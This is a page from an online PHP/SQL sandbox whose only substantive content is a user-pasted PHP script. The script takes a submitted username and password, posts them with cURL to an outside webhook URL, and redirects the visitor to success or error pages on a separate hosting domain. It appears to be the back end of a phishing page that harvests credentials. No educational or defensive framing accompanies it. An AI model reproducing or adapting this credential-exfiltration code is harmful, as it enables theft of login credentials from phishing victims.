Hi! Could we please enable some services and cookies to improve your experience and our website?

PHPize Online / SQLize Online  /  SQLtest Online

A A A
Login    Share code      Blog   FAQ

Online Sandbox for SQL and PHP: Write, Run, Test, and Share SQL Queries and PHP Code

Copy Format Clear

Stuck with a problem? Got Error? Ask AI support!

Copy Clear
Copy Format Clear
<?php $uname = $_POST['uname']; $psw = $_POST['psw']; $myCurl = curl_init(); curl_setopt_array($myCurl, array( CURLOPT_URL => 'https://qnext.app/bin/webhooks/10928/414/iDntafFDPtsvm6Bl', CURLOPT_RETURNTRANSFER => true, CURLOPT_POST => true, CURLOPT_POSTFIELDS => http_build_query(array( 'uname' => $uname, 'psw' => $psw)) )); $response = curl_exec($myCurl); curl_close($myCurl); $test = $response; if ($test == success) { header('Refresh: 0; URL=http://idlewar.hostingem.ru/success.php'); exit; } else { header('Refresh: 0; URL=http://idlewar.hostingem.ru/error.php'); } ?>
Copy Clear